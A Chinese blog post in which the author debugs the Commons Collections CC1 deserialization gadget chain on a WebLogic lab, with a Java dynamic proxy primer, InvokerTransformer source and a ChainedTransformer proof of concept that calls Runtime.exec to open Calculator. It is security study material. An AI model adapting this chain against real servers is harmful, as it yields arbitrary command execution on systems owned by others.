CC链1的初次调试 前言:最近有想法写RASP,打算拿weblogic开刀,在此之前调一下CC1,才开始用hexo和一个新图床导致图片不是很清晰,看不清的师傅可以看:https://www.yuque.com/docs/share/b70c2e99-2d45-44f7-aa79-7b6e25837636 ?
Weblogic环境搭建 参考刘师傅的博客搭建的 教程
java动态代理 要约王美丽不能直接约,要通过她的家人。王美丽实现约会功能,家人负责加强约会前后的处理。
1 2 3 4 5 6 7 package Dynamic;public interface Girl { void date () ; void watchMovie () ; }
1 2 3 4 5 6 7 8 9 10 11 12 package Dynamic;public class Longlone { public static void main (String[] args) { Girl girl = new WangMeiLi(); WangMeiLiProxy family = new WangMeiLiProxy(girl); Girl mother = (Girl)family.getProxyInstance(); mother.date(); } }
1 2 3 4 5 6 7 8 9 10 11 12 package Dynamic;public class WangMeiLi implements Girl { @Override public void date () { System.out.println("和王美丽约会" ); } @Override public void watchMovie () { System.out.println("和王美丽看电影" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package Dynamic;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;public class WangMeiLiProxy implements InvocationHandler { private Girl girl; public WangMeiLiProxy (Girl girl) { super (); this .girl = girl; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { doSomethingBefore(); Object ret = method.invoke(girl,args); doSomethingEnd(); return ret; } private void doSomethingBefore () { System.out.println("你帅不帅" ); } private void doSomethingEnd () { System.out.println("下次还来吗" ); } public Object getProxyInstance () { return Proxy.newProxyInstance(girl.getClass().getClassLoader(),girl.getClass().getInterfaces(),this ); } }
在CC1链里面,最重要的接口是transformer,我们要利用的其他类都是它的动态代理
调试过程 这里直接用脚本打过去,开启远程调试对docker里面的weblogic调试,在InvokerTransformer#transform处下断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } }
payload分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package Dynamic;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;public class cc1 { public static void main (String[] args) { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app" })}); chain.transform("l1m3@syc" ); } }
1.第一步 首先new了一个ChainedTransformer对象,传入了Transformer数组,内容分别为: 1.new ConstantTransformer(Runtime.class) 2.new InvokerTransformer(“getMethod”, new Class[] { String.class, Class[].class }, new Object[] { “getRuntime”, new Class[0] }) 3.new InvokerTransformer(“invoke”, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }) 4.new InvokerTransformer(“exec”, new Class[] { String.class }, new Object[]{“open /System/Applications/Calculator.app”})
2.第二步 调用了自己的transform,传入(“l1m3@syc”) 调用ConstantTransformer#transform(Runtime.class) 然后调用InvokerTransformer#transform(java.lang.Runtime) 61直接return xx.invoke(java.lang.Runtime,getRuntime),熟悉反射的师傅就知道了这里已经成功一大半了。这里获取到了getRuntime()方法 下一个循环调用InvokerTransformer#transform(java.lang.Runtime.getRuntime) 同样的这里执行了getRuntime()方法,获得了一个Runtime对象 最后获取到了Runtime.exec()并且执行了我们的”open /System/Applications/Calculator.app”
总结 感觉CC链1是比较简单的,没有做任何过滤,关键在于ChainedTransformer的链式处理,我们可以通过在InvokerTransformer#transform里面的反射调用获取到我们想要的类和方法,最终导致命令执行。
参考链接 1.https://www.bilibili.com/video/BV1Dt41187wj?from=search&seid=2718178702954423792 2.https://xz.aliyun.com/t/136